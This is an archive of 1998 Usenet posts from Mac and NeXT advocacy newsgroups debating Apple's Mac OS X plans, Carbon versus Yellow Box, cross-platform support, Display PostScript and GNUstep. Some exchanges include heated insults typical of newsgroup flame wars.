> my mom HAS to deal with unix just to use her computer.
Bah! Unix will put hair on ya chest! Make ya a manly man! :-)
> Leave unix out of
> the _consumer_ version of the MacOS X by default. Let me add it in or
> purchase a unix enabled version, though please.
This is the time to ask Apple to do just this. It seems that this wish *IS*
a reachable one. And all that needs to be done is to ask for it.
From: M Rassbach <mark@milestonerdl.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: OS X, Unix, and Open Firmware (was Re: Apple screws Rhapsody
*and* Mac owners?)
Date: Fri, 15 May 1998 07:38:52 -0500
Organization: Inc.Net http://www.inc.net
Message-ID: <355C375C.18E2321A@milestonerdl.com>
References: <19980514155241852134@sdn-ts-011txhousp14.dialsprint.net> <B181637B-B057D@204.31.112.117>
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Phil Brewster wrote:
> George Graves and others have also been posting some pretty compelling (or
> damning...) evidence from Jobs' Keynote that MacOS X will be G3-only on the
> PPC side.
Here's more:Steve's keynote time index 54:44 he mentions that Carbon allows
for a OS 8 AND OS X version of your code.
Time index 57:00 "We are targeting MacOS X for the G3." then "In addition
carbon Apps will run on on System 8 on the complete line of products we ship
with System 8"
ends 57:34
From: M Rassbach <mark@milestonerdl.com>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Random blatherings
Date: Fri, 15 May 1998 09:13:20 -0500
Organization: Inc.Net http://www.inc.net
Message-ID: <355C4D80.191E5927@milestonerdl.com>
References: <6jatq7$72e$1@xmission.xmission.com> <3559D285.C7FC88FA@milestonerdl.com>
<6jctjh$4m2$1@crib.bevc.blacksburg.va.us> <355A0000.98C34AB5@milestonerdl.com>
<6jd4jf$51e$1@crib.bevc.blacksburg.va.us> <355A11FE.175EB7DE@milestonerdl.com> <6jfuu3$1cc$33@ironhorse.plsys.co.uk>
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mmalcolm crawford wrote:
> In <355A11FE.175EB7DE@milestonerdl.com> M Rassbach wrote:
>
> > Give developers MORE. Give them Solaris/HP-UX. (They had that with
> > OpenSTEP)Then, get down and dirty.....get runtimes to work with
> Linux/FreeBSD.
> > (Sell the runtimes. If you want non-mainstream implementation you pay.)
> >
> To be generous, you are misrepresenting the case.
>
> Developers did not have OPENSTEP with Solaris/HP/UX.
>
> Developers had NEXTSTEP on Sparc and HP/PA-RISC systems as a complete OS.
> Developers had OPENSTEP on Sparc as a complete OS.
> Developers had OpenStep (note capitalisation) on Solaris, briefly, from Sun
> as NEO.
>
Ahhhh ok. Then the port is non-trivial, as you had mentioned. I now grok why
Solaris/HP-UX arn't YellowBox options at this time.
Solaris seems to be an option, but Sun/Apple have to decide to play nice
together.
From: nurban@crib.bevc.blacksburg.va.us (Nathan Urban)
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: So THAT is the OS stratetgy?
Date: 15 May 1998 11:30:01 -0400
Organization: Data Systems Consulting, Inc.
Message-ID: <6jhn1p$a0p$1@crib.bevc.blacksburg.va.us>
References: <pulsar-ya02408000R1105981436070001@news-proxy.cso.uiuc.edu> <355B7034.DB4FE5B8@milestonerdl.com> <6jg1ua$88j$1@crib.bevc.blacksburg.va.us> <355C2C23.2DA93D1@milestonerdl.com>
In article <355C2C23.2DA93D1@milestonerdl.com>, mark@milestonerdl.com wrote:
> Nathan Urban wrote:
> > It is _astonishing_ how you turn _every_ single statement _anyone_
> > makes into a claim that Apple is not committed to cross-platform or
> > cross-platform does not matter -- when they are in reality not saying
> > anything of the sort, and usually not anything having to do with
> > cross-platform at all.
> > You truly are mentally deficient, and your stupidity is not worth my
> > time.
> Mentally deficient?
You heard me.
> You can't rebut the lack of public committment to NT 5.x/98,
I can and did.
> so you resort to name calling. How charming.
It is certainly true that every time I say something, you turn around
and say "therefore Apple isn't committed to cross-platform" -- and this
is usually when I'm not saying anything at all about cross-platform!
That is indeed a sign of mental deficiency, or at least some sort of
peculiar delusional state that leads you to believe that everything
everyone says has something to do with Apple's cross-platform
committment (and further, _your_ interpretation thereof).
> Apple HAS brought the cross-platform into doubt.
You're the only one doubting it. At least the Windows part. Others
doubt long-term committment to Rhapsody/Intel, but not short-term or
Windows committment.
From: rmcassid@uci.edu (Robert Cassidy)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Mac OS X - Just Another Smokescreen?
Date: Thu, 14 May 1998 16:17:01 -0700
Organization: UC Irvine
Message-ID: <rmcassid-1405981617010001@dante.eng.uci.edu>
References: <355B6CDA.3D3BEB84@aol.com>
In article <355B6CDA.3D3BEB84@aol.com>, VikR@aol.com wrote:
>In an article on MacIntouch today (at
><http://www.macintouch.com/m10carbon.html>) Ken Broomfield points out that the
>Mac OS API's can't currently support multi-tasking:
>
>> This is the essential problem with moving the MacOS forward: the API
>>definitions for many parts of the OS, including Quickdraw, were
designed >>incorrectly for multi-threading/multi-processing. To allow
multi-threaded >>applications to use these services, the APIs have to be
extensively redesigned >>and applications that call them will have to be
significantly reworked, something that is apparently going to happen
gradually, if at all.
>So OS X apps aren't going to be multi-tasking after all. Is OS X just another
>Apple smokescreen?
No, you need to read more carefully. MacOS API that weren't designed to be
multi-processing safe have been nuked or are being fixed (these are the
famous 2000 that are being dumped). You won't have preemptive *threading*
(a different animal) without some serious work. But that's not a huge
problem, IMO. You *will* have cooperative threading if you listened to
Apple over the last 5 years or so when they pushed Thread Manager.
Carbon is just a transitional tool. It will get developers PMT, MP, and
some other nicities. Not bad for such a small investment in effort. If you
want multithreading and SMP, you'll have to do more work. Eventually,
Apple will get the point across that developers should migrate to
YellowBox as quickly as they can justify since likely only then will they
get *all* the benefits of MacOS X.
Carbon is an 80/20 solution just as you saw during the 68k/PPC transition.
We're doing it *all* over again, hopefully for the last time for a while.
-Bob Cassidy
From: nurban@crib.bevc.blacksburg.va.us (Nathan Urban)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: rhapsody dr2 for intel??!??!??!
Date: 15 May 1998 11:34:02 -0400
Organization: Data Systems Consulting, Inc.
Message-ID: <6jhn9a$a1e$1@crib.bevc.blacksburg.va.us>
References: <6jdlds$o2o$2@newsfep4.sprintmail.com> <6jf0bk$3d2$2@diana.bcn.ibernet.es> <6jfnhh$15o$2@msunews.cl.msu.edu> <6jh84t$c6u$1@diana.bcn.ibernet.es>
In article <6jh84t$c6u$1@diana.bcn.ibernet.es>, jes@rednsi.com wrote:
> Anyway, I wasn't advocating for an anticipated Intel release but for a
> simultaneous Intel/PPC one. I agree that Apple can't afford to offer an Intel
> version prior to PPC, but I cannot find a rational reason to delay Rhapsody
> Intel.
Waiting for more drivers to get written maybe? Or perhaps they focused
their QA efforts on the PPC version first and now have to validate the
Intel version.
From: nurban@crib.bevc.blacksburg.va.us (Nathan Urban)
Newsgroups: comp.sys.next.advocacy
Subject: Re: STEPWISE Scoop on UI
Date: 15 May 1998 11:36:40 -0400
Organization: Data Systems Consulting, Inc.
Message-ID: <6jhne8$a2b$1@crib.bevc.blacksburg.va.us>
References: <6jgsjt$93u$1@crib.bevc.blacksburg.va.us> <1998051512561800.IAA17653@ladder01.news.aol.com>
In article <1998051512561800.IAA17653@ladder01.news.aol.com>, willadams@aol.com (WillAdams) wrote:
> I think it's pretty pathetic as well in terms of the Macintosh gaudiness which
> is still left. Why can't they trash the trash can?
> It looks to be configurable though, which is promising, but I think it's
> ridiculous to proliferate the UI elements as they have.
> One of the most wonderful things about the NeXTstep UI was the minimal number
> of elements used in an orthogonal manner. [...]
You're preaching to the choir, here.. :)
> I begin to believe that I'll never purchase a new piece of software or
> hardware again.
Wow, you guys are really tied to your UI!
UI is a big reason why I chose NEXTSTEP, but the technology improvements
in Rhapsody/OS X are enough that I'll switch anyway.
From: nurban@crib.bevc.blacksburg.va.us (Nathan Urban)
Newsgroups: comp.sys.next.advocacy,comp.sys.next.misc,comp.sys.next.software
Subject: Re: NXHosting is dead ?
Date: 15 May 1998 11:40:29 -0400
Organization: Data Systems Consulting, Inc.
Message-ID: <6jhnld$a3v$1@crib.bevc.blacksburg.va.us>
References: <6jhivm$22a$1@nnrp1.dejanews.com>
In article <6jhivm$22a$1@nnrp1.dejanews.com>, aa158@valleynet.on.ca wrote:
> See
> http://www.macintouch.com/m10imaging.html
This is bad. :( What good is having the pretense of a network-aware
GUI-based OS without being able to run apps remotely??
I wonder how technically difficult it would be for them to somehow add
this later..
From: M Rassbach <mark@milestonerdl.com>
Newsgroups: comp.sys.next.advocacy
Subject: Re: OpenStep for Windoze $20?
Date: Fri, 15 May 1998 09:56:09 -0500
Organization: Inc.Net http://www.inc.net
Message-ID: <355C5789.3595A31@milestonerdl.com>
References: <6jboq5$eua$9@news.idiom.com> <6jchqg$1cc$21@ironhorse.plsys.co.uk>
<slrn6ljskk.p80.sal@panix3.panix.com> <3559F5D4.96E43F72@unet.univie.ac.at>
<slrn6lkdcp.o39.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu> <6jdenk$53h$3@news.xmission.com>
<355af7e5.0@206.25.228.5> <355B49C0.10D34097@unet.univie.ac.at>
<355b5409.0@206.25.228.5> <6jfkuq$gn2$1@cronkite.cygnus.com>
<355B6B90.AD8F648F@milestonerdl.com> <6jg1d0$gn2$2@cronkite.cygnus.com>
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John Rudd wrote:
> In <355B6B90.AD8F648F@milestonerdl.com> M Rassbach wrote:
> >
> >
> > John Rudd wrote:
> >
> > > Actually, I don't understand why Apple doesn't just invest the money
> and/or
> > > programmers into GnuStep to get DGS finished
> >
> > Apple isn't going to help what competes with them. DGS would help GnuSTEP
> and
> > GnuSTEP takes a crown jewel and clones it.
> >
> > Jobs made the Macintosh 'hacker proof' - you remember them, the ones with
> no
> > slots.
> >
>
> That's a rather myopic point of view... and contrasts greatly with moves Jobs
> has made in the more-recent-than-macintosh-history.
>
> 1) rather than continue developing a proprietary c and objective-c compiler,
> NeXT went with gcc. (hacker proof!? yeah, right)
Licencing Fees.
> 2) Openstep is an _OPEN_ spec. It is meant to be cloned by other groups. If
> Jobs didn't want that, he wouldn't have allowed it to be an open spec.
And, with the help of GnuSTEP it IS being cloned.
> 3) mklinux competes with Apple's OS's.. yet Apple supports mklinux.
> (further, mklinux, supported by Apple, runs on HP and Intel hardware.. it not
> just competes with Apple on their own hardware, but on other hardwares as
> well.. supporting mklinux could cost them hardware sales, if they were to use
> your myopic point of view.. )
> Further, there has never been an indication of animosity from Jobs toward the
> Gnustep project that I can recall (and I seem to recall positive things being
> said).
I know of no cases where he has talked about GnuSTEP.
> Last, and most myopic, is the notion that Apple wouldn't/couldn't/shouldn't
> do DGS because that helps Gnustep, which may be a competitor. That's just
> plain BS. That's like saying Apple shouldn't help contribute to next
> generations of NFS, UFS, NIS, etc, because "oh no, people might use it to
> compete with our offerings".
Except that OpenSTEP->YellowBox is a crown jewel, and that GnuSTEP isn't done and
deployed yet. NFS etc la are deployed, and 'done'.
> For one, it can mean _LESS_ work for Apple, as other people encountering
> similar bugs or problems might fix it before Apple gets around to it. Since
> it's an open (and open-source) arena, Apple is likely to at least see the
> formal description of the bug, if not the actual fix, before they even spend
> time fixing it.
It could. But, unfortunatly for the open source world, the only companies
jumping in that direction have been "sick" companies, or the companies that look
to the advantage of Open source.
> Using a common DPS version instead of a proprietary
> implimentation can give you all sorts of bennefits.. and using a proprietary
> one can cause you all sorts of headaches. For example, it would make little
> sense for Apple to build their own SMBFS engine at this point. It makes more
> sense for them to continue building and bundling samba with their
> distributions (which NeXT started doing with 4.0). And, as long as the one
> they ship works, and they let the samba project know what configuration
> changes had to be made, Apple has to do almost nothing to keep samba
> supported -- as new releases of samba come up, Apple at most has to
> re-integrate the config changes and test it to be sure it still works (except
> in the rare case of a major reimplimentation of samba.. which shouldn't
> happen too often, or the samba project is doing something wrong).
>
> For two, what helps your enemy does NOT necessarily hurt you (assuming
> Gnustep is the enemy, which it is not).. and when you share common needs with
> your "enemy", hurting them on that common need can _kill_ you. Apple stands
> to gain more by Gnustep proliferating, and thus Openstep proliferating, than
> by hurting _ANY_ Openstep variant. Doing things to hinder or halt the spread
> of Openstep so that Apple can horde it only means that Openstep is that much
> less a _standard_, and that much less widely adopted. This hurts the thing
> which is the fundamental point of Openstep -- portability to multiple
> platforms as more people adopt Openstep. Sure, if Apple and Openstep were in
> a monopoly position in the market, they could get away with it. But they're
> not, and they can't.
What would be interesting is for Apple to say:"Here. Here's the base code to
OpenSTEP. YellowBox has now moved to the next level, and this old code is no
longer needed. Oh, and the terms: we reserve the right to bring changes back
into our product base. Not all good ideas come from Apple Computer, but we'd
like to think we ARE bright enough to see a good idea and embrace it."
Apple then goes further:
"Our corporate goal is to have YellowBox on Apple branded boxes to be the
best-preforming version. We offer support for this envorinment on the current
Microsoft OS offerings, and pledge to support future version of Microsoft's
offerings. And to drive Apple further, we released OpenSTEP. Now, we can't
stand still. We are forced to innovate because with our OpenSTEP code out
there, the alternative is a STEP behind, rather than miles."
Now THIS would be 'thinking differently'
> Apple can only _win_ by backing DGS. And backing DGS does not at all imply
> helping any other aspect of the Gnustep project.. Gnustep could still fail
> even if Apple were to finish and give them a fully working DGS
> implimentation. They win by having a standard and open implimentation of a
> system service (thus countering the percieved trend of Apple never doing
> things the standard way). They win in the PR arena (by supporting the
> free-software arena). They win by preserving a widely liked system service
> yet removing their reliance on a particular and annoying group that controls
> it, and that allows them to distribute it without the license fees.
This is a good time to bring such an idea up. Many Apple company employees are
within arms reach at WWDC, and after Friday they go back to the ivory towers at
Cupertino.
> -
> John "kzin" Rudd jrudd@cygnus.com http://www.cygnus.com/~jrudd
> Intel: Putting \"I want a pair of Daisy Eagle semi-auto paintball pistols
> the backward in \in shoulder rigs. Who cares if you win the game as long
> backward compatible\as you can John Woo as you dive over obstacles?" - anon
From: nurban@crib.bevc.blacksburg.va.us (Nathan Urban)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Random blatherings
Date: 15 May 1998 11:56:44 -0400
Organization: Data Systems Consulting, Inc.
Message-ID: <6jhojs$a94$1@crib.bevc.blacksburg.va.us>
References: <6jatq7$72e$1@xmission.xmission.com> <355B0318.2D119336@milestonerdl.com> <rmcassid-1405981158500001@dante.eng.uci.edu> <355C49C2.8D4B8434@milestonerdl.com>
In article <355C49C2.8D4B8434@milestonerdl.com>, mark@milestonerdl.com wrote:
> Robert Cassidy wrote:
> > In article <355B0318.2D119336@milestonerdl.com>, mark@milestonerdl.com wrote:
> > >However, Apple could be preping for a bait-and-switch.
> > You know, Mark. REGARDLESS of what Apple says publicly, they could be
> > prepping for a bait and switch.
> Damn straigh. But to say Apple has a future in a long-term cross-platform
> plan, flies in the face of reality.
We're all going to enjoy watching you eat those words. Immensely.
> > So can Intel, Microsoft, IBM, the guy on
> > your left and the gal on your right. Don't belive any of them. Don't let
> > your guard down for a second.
> And, even if Apple DOES announce NT5.x/98 support, they could back out/not
> offer it.
Of course. Robert's point was that this can happen for _any_ commitment
made by _any_ company. Which is why you have to look at what it's
_logical_ and _prudent_ and _advantageous_ for Apple to do -- which
is why everyone has come to the conclusion that regardless of an Apple
press release, they are long-term committed to YB/Windows. All you have
is a bunch of paranoia about bait-and-switch completely unsupported by
any rational argument for why Apple would do it.
> > In fact, go get yourself some *really* heavy
> > duty tin-foil and wrap it around your head. It keeps the reality
> > distortion field out.
> It's better than claiming Apple has a long-term cross-platform plan.
Be sure to fax me a photo of yourself wearing that tin-foil, then.
From: nurban@crib.bevc.blacksburg.va.us (Nathan Urban)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Random blatherings
Date: 15 May 1998 12:01:38 -0400
Organization: Data Systems Consulting, Inc.
Message-ID: <6jhot2$aag$1@crib.bevc.blacksburg.va.us>
References: <6jatq7$72e$1@xmission.xmission.com> <355A1631.F7BD6362@milestonerdl.com> <6jfv8f$1cc$34@ironhorse.plsys.co.uk> <355C4C9F.5C1E3A06@milestonerdl.com>
In article <355C4C9F.5C1E3A06@milestonerdl.com>, mark@milestonerdl.com wrote:
> Brett talked about support for
> Rhapsody in the future on multiple architectures, but again, he too was
> very vague on this subject and did not specifically mention Intel. We believe
> Steve briefed these keynote speakers ahead of time, and warned them to stay
> clear of the Intel situation since they aren't quite secure in this area.
> Brett Halle, Manager of the Core OS group
> Apple says to 'stay clear' of Intel right here.
Apple has said no such thing. Point to me a quote of an Apple official
saying to stay clear of Intel.
This is what you get when you trust a second-hand _opinion_ of someone
-- which conveniently agrees with your own prejudices, funny how you never
seem to listen to any of the other attendees who have been saying that
Apple looks committed -- rather than what Apple has been saying all along:
that they remain committed to cross-platform. Apple fully intends to
remain committed to an OS offering on Intel at least through the OS X
time frame, and a Windows offering (including NT5/98) for the long-haul.
From: nurban@crib.bevc.blacksburg.va.us (Nathan Urban)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: OSX - What I See vs What I Want
Date: 15 May 1998 12:03:58 -0400
Organization: Data Systems Consulting, Inc.
Message-ID: <6jhp1e$ab8$1@crib.bevc.blacksburg.va.us>
References: <forrestDELETE-THIS!-1205981303210001@term4-3.vta.west.net> <355af407.0@206.25.228.5> <rmcassid-1405981211310001@dante.eng.uci.edu> <355C3733.BC879B06@milestonerdl.com>
In article <355C3733.BC879B06@milestonerdl.com>, mark@milestonerdl.com wrote:
> > Leave unix out of
> > the _consumer_ version of the MacOS X by default. Let me add it in or
> > purchase a unix enabled version, though please.
> This is the time to ask Apple to do just this. It seems that this wish *IS*
> a reachable one. And all that needs to be done is to ask for it.
If you'd been paying attention to the WWDC notes on Stepwise and
developer.com, you'd see it seems that Apple already intends to do that.
But it doesn't hurt to ask, to make sure they know it's wanted.
From: nurban@crib.bevc.blacksburg.va.us (Nathan Urban)
Newsgroups: comp.sys.next.advocacy
Subject: Re: OpenStep for Windoze $20?
Date: 15 May 1998 12:07:39 -0400
Organization: Data Systems Consulting, Inc.
Message-ID: <6jhp8b$ac4$1@crib.bevc.blacksburg.va.us>
References: <6jboq5$eua$9@news.idiom.com> <355B6B90.AD8F648F@milestonerdl.com> <6jg1d0$gn2$2@cronkite.cygnus.com> <355C5789.3595A31@milestonerdl.com>
In article <355C5789.3595A31@milestonerdl.com>, mark@milestonerdl.com wrote:
> But, unfortunatly for the open source world, the only companies
> jumping in that direction have been "sick" companies, or the companies that
> look to the advantage of Open source.
Whoa, no way.. you mean that the companies interested in open source
may <gasp> be the ones that see advantages in it?? Are we supposed to
be surprised that the companies that don't see an advantage aren't
jumping in that direction?
From: jcr.remove@this.phrase.idiom.com (John C. Randolph)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Alternatives to Adobe
Date: 15 May 1998 13:45:56 GMT
Organization: Idiom Communications
Message-ID: <6jhguk$526$3@news.idiom.com>
References: <6jh6lm$526$1@news.idiom.com> <6jhf5b$ku3@sjx-ixn10.ix.netcom.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Cc: far_no@spam.ix.netcom.com
Felipe A. Rodriguez may or may not have said:
-> In article <6jh6lm$526$1@news.idiom.com> jcr.remove@this.phrase.idiom.com
(John C.
-> Randolph) writes:
-> snip
-> >
-> >Meanwhile, I say: A pox on Adobe. Pride goeth before the fall.
-> >
-> >-jcr
->
->
-> I'm afraid I don't understand why you and others seem so upset
-> with Adobe for wanting to make a buck off of their proprietary
-> code. I mean that is what proprietary is all about. You tax
-> the suckers forever. A similar thread a while ago bashed
-> Alladin(I think that's the name) for keeping their Stuffit code
-> closed and proprietary(i.e. very profitable ).
Sure, it's their prerogative not to play ball here, and there's no grounds
for anyone to sue them. That doesn't mean, however, that their decision was
well-advised, or that we shouldn't criticise them.
I criticise people and companies all the time for doiing things that are
perfectly within their rights.
-jcr.
Date: Fri, 15 May 1998 09:13:27 -0700
From: stevehix@safemail.com (Steve Hix)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
Message-ID: <stevehix-1505980913280001@ip50.safemail.com>
References: <ericb-1105981718430001@132.236.171.104>
In article <ericb-1105981718430001@132.236.171.104>, ericb@pobox.com (Eric
Bennett) wrote:
> http://www.zdnet.com/macweek/mw_1219/nw_wwdcjobs.html
>
> Apple announced today that its OS future is a revised MacOS "merged" with
> a Rhapsody core, but the telling feature is that it largely retains (and
> Apple is stressing) API compatibility with the current MacOS. So Apple is
> effectively telling developers, "Screw Rhapsody." Ought to make the
> NeXTies happy, right?
Only if they actually pay attention to what's going on.
The YB remains, which they should like. Carbon is there to make the much
larger group of current Mac developers with an investment in a lot of
MacOS shipping code happy. The latter group wasn't all that enthused
about porting all their work to YB, which would have been an enormous
effort.
Anyone starting fresh would be better off writing for YB, but it's not
the best way for everyone right now.
Date: Fri, 15 May 1998 12:16:27 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
Message-ID: <joe.ragosta-1505981216270001@wil115.dol.net>
References: <ericb-1105981718430001@132.236.171.104> <pulsar-ya02408000R1105981648110001@news-proxy.cso.uiuc.edu> <ericb-1105981832070001@132.236.171.104> <pulsar-ya02408000R1105981844070001@news-proxy.cso.uiuc.edu> <3557C5B4.81BDA525@loa.com> <3558718B.69675B8F@spamtoNull.com> <6jbs69$1cc$15@ironhorse.plsys.co.uk> <3559F5A0.E8E7FB3D@spamtoNull.com> <pulsar-ya02408000R1305981524440001@news-proxy.cso.uiuc.edu> <355B31C4.77DFDC17@spamtoNull.com>
In article <355B31C4.77DFDC17@spamtoNull.com>, Jonathan Harker
<Limeyville@spamtoNull.com> wrote:
> Mark me, Jobs has already started his decline at Apple. This bumble,
> along with the iMac fiasco, will set the stage for Jobs' soon
> retirement.
But you've been saying for a year that Jobs was at unthinkably low levels.
How's he going to decline?
BTW, just which iMac fiasco are you referring to? All the _huge_ amount of
positive press they've received?
--
Regards,
Joe Ragosta
http://www.dol.net/~Ragosta/complmac.htm
From: nurban@crib.bevc.blacksburg.va.us (Nathan Urban)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Apple Dumps Display Postscript in Rhapsody/MacOS X (official)
Date: 15 May 1998 12:17:13 -0400
Organization: Data Systems Consulting, Inc.
Message-ID: <6jhpq9$adp$1@crib.bevc.blacksburg.va.us>
References: <_La61.80$5g3.847607@news.rdc1.sfba.home.com> <UwR61.6$Jb1.175245@news.rdc1.sfba.home.com> <6jgsb2$934$1@crib.bevc.blacksburg.va.us> <355C5E78.524EC62@trilithon.com>
In article <355C5E78.524EC62@trilithon.com>, Henry McGilton <henry@trilithon.com> wrote:
> Nathan Urban wrote:
> * But won't this degrade refresh performance? The nice
> * thing about having buffering done in the window server
> * was that it could redraw things itself.
> Here, let me read the release for you:
> [...]
Okay, that release wasn't available when I posted (I was looking for it!).
The original post implied that it was the _app_ that did the buffering,
at least to me.
From: nurban@crib.bevc.blacksburg.va.us (Nathan Urban)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: The New Rhapsody (aka Mac OS X)
Date: 15 May 1998 12:15:41 -0400
Organization: Data Systems Consulting, Inc.
Message-ID: <6jhpnd$ad7$1@crib.bevc.blacksburg.va.us>
References: <6jfn43$7r8$1@crib.bevc.blacksburg.va.us> <B180C072-D5287@206.165.43.181> <rmcassid-1405981620470001@dante.eng.uci.edu>
In article <rmcassid-1405981620470001@dante.eng.uci.edu>, rmcassid@uci.edu (Robert Cassidy) wrote:
> Carbon is a middle step, not the end of the line. Next year Apple
> will announce the death of MacOS 8 and the problem will be solved. Watch
> for it.
Apple would be crazy to do that before X has widespread adoption.
Since it's being released in Q3 of next year, you may have to push your
pronouncement back a year or so. :)
If X _does_ get widespread adoption (like, at least on the level of the
number of people who upgraded to System 8), then they might announce the
"death of MacOS 8". But that would still annoy all their users who
can't run OS X (the 68k users, I guess)? I don't know how important
they are to Apple in terms of a continuing revenue stream.. maybe they'd
just put System 8 in "maintenance mode".
From: jq@papoose.quick.com (James E. Quick)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
Date: 15 May 1998 11:53:22 -0400
Organization: Quick and Associates
Message-ID: <6jhodi$ckf@papoose.quick.com>
References: <ericb-1105981718430001@132.236.171.104> <6jfbjs$76e$1@crib.bevc.blacksburg.va.us> <895179379.806734@kelp.mbay.net> <6jfmgm$7pe$1@crib.bevc.blacksburg.va.us>
In article <6jfmgm$7pe$1@crib.bevc.blacksburg.va.us>,
Nathan Urban <nurban@vt.edu> wrote:
>In article <895179379.806734@kelp.mbay.net>, mcgredo@otter.mbay.net (Donald R. McGregor) wrote:
>
>> In article <6jfbjs$76e$1@crib.bevc.blacksburg.va.us>,
>> Nathan Urban <nurban@vt.edu> wrote:
>
>> >Follow that path to its logical conclusion and you will see: not only
>> >will developers use Carbon for existing apps, but they'll also use it
>> >for _new_ apps (which is what Yellow is supposed to be for) so it will
>> >run on all those existing non-OS X systems. This will kill the whole
>> >YB strategy.
>
>> If, in the open market of ideas, when both technologies have an
>> even footing, developers pick Carbon over YB, YB _deserves_ to
>> die.
>
>But the point was that without YB on MacOS, the footing isn't equal.
>Developers can say "Well, I can write a Carbon app that will run on
>OS X and MacOS, or a Yellow one that will run on OS X and Windows".
>There are advantages to targeting Windows, but there are advantages to
>targeting MacOS too -- especially if you're already in the Mac market.
>Mac developers may choose Carbon so to satisfy some of their loyal
>customer base, even if Yellow is a technically superior choice.
Nathan you have a point but not a relevant one. It's not about
seats but about sales. As systems get older their users buy less
software for them. Even when a substantial portion of the market
has older systems, they tend to purchase less, and therefor are a
disproportionately smaller part of the software marketplace.
When they see a compelling reason to upgrade, they will do so
and then either upgrade or purchase new software. The majority
of the software dollars are being spent on G3 and Powermac
already. You are arguing a theoretical point that might be
interesting to think about in pure terms but is not very
relevant to the real situation.
People who stick with the older MacOS systems rather than migrating
to MacOS X are precisely those who matter the least to the bottom
lines of the developers.
--
___ ___ | James E. Quick jq@quick.com
/ / / | Quick & Associates NeXTMail O.K.
\_/ (_\/ | If only the HMO would cover my allergy to gravity...
) | Blue skies, and soft landings.
From: "Ken Schuller" <schullersite@NOworldnet.att.net>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: OSX - What I See vs What I Want
Date: Fri, 15 May 1998 11:32:46 -0500
Organization: AT&T WorldNet Services
Message-ID: <6jhqk4$fqs@bgtnsc02.worldnet.att.net>
References: <35598540.E4C37882@milestonerdl.com> <3559CE7F.7207302C@milestonerdl.com> <6jcu11$4ng$1@crib.bevc.blacksburg.va.us> <6je2ub$ju9$1@larry.admin.phil.uu.nl> <6jead6$694$1@crib.bevc.blacksburg.va.us> <see-below-1405982235220001@209.24.240.162>
Matthew Vaughan wrote in message ...
>In article <6jead6$694$1@crib.bevc.blacksburg.va.us>, nurban@vt.edu wrote:
>
>> In article <6je2ub$ju9$1@larry.admin.phil.uu.nl>, freek@phil.uu.nl
>(Freek Wiedijk) wrote:
>>
>> > Nathan:
>>
>> > >If it's got the kernel and associated setup (like /etc),
>> > >then it's Unix even if it doesn't ship with all the utils.
>> > >(IMHO, of course.)
>>
>> > Hm. But things like /etc/rc* use the "utils" rather heavily,
>> > no? That world is all one big shell script. So I'd expect
>> > it's not that easy to get rid of "the utils" if you're going
>> > to undress an existing Unix (or Unix-based) system. Which
>> > Mach is.
>>
>> Exactly. Which is why I suspect that sinc MacOS X appears to have BSD
>> underpinnings, it will have a minimal /bin with it too. But I don't
>> think that the default OS X install will come with a full complement of
>> Unix utils, or man pages or any of that stuff -- just the minimum needed
>> for booting.
>
>What I've heard is that Unix will still be in OS X, but will be "well
hidden."
>
>....................................................
>MATTHEW VAUGHAN
>matthewv at best dot com (damn spammers...)
>http://www.best.com/~matthewv/
>....................................................
What would make my day would be to just have the following:
1. A rock-solid, stable, buzzword-compliant OS.
2. A consistent, familiar GUI.
3. The ability to shell out to a *nix CLI (call it "console window" if you
want) when I want to do multiple file deletes, move directories around, etc.
I'll admit openly that some sort of CLI on the Mac OS could come in very
handy- I wish it had it now, but it doesn't make the OS unusable.
I'll also admit that NT4 came damned close to making it based on the
criteria I have listed above, BUT...
1. There's no reason a hotfix or service pack should -ever- render a
machine unbootable- that's inexcusable on MS's part.
2. There's no reason adding an IDE drive and changing the jumpers on the
original drive to make it "master" (as in "master/slave" configuration)
should render a machine unbootable.
3. The GUI still needs help- it tries to be too many things. (I'm
referring mostly to Microsoft engineers trying so hard to "dummy-proof"
everything. I dearly miss being able to restore an application's default
config simply by deleting the "appname.ini" file al la Windows 3.1)
OS X looks promising- so does the Be OS, for that matter. I think either of
those two OS's, before they go into commercial release, need to have Win32
compatibility a la Virtual PC or SoftWindows. Sun was smart enough to
figure this out- I can only hope Gassee is finally off his arrogance kick
from Apple days to understand the importance of being able to use legacy (in
the sense of already purchased/existing Win32 apps) -without- having to
leave the OS environment by rebooting. In Gassee's defense, you can say the
same for Apple management- they did the right thing by bundling Easy Open,
but I think it's worth a $50 per machine price increase to bundle VPC or one
of the others with every new Apple sold, and this includes the OSX machines.
Finally, I'd like to see OSX on Intel. It would make my day to pick out the
parts I want at the local PC shop (in compliance with a hardware
compatibility list, much like the NT people use now), and build a nice,
stable OSX machine with the ability to run my Mac OS -and- my Windows apps.
That would be true choice.
Ken
Ken Schuller
Network Systems Specialist
NovaNET Learning, Inc.
========================
"In computing because it beats working for a living."
I speak for me.
Remove the obvious spam foil to reply via e-mail.
==========================================
From: Michel Coste <nospam@micmac.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
Date: Fri, 15 May 1998 13:55:07 GMT
Organization: MiCMAC
Sender: news@micmac.com
Message-ID: <Et03zv.4uG@micmac.com>
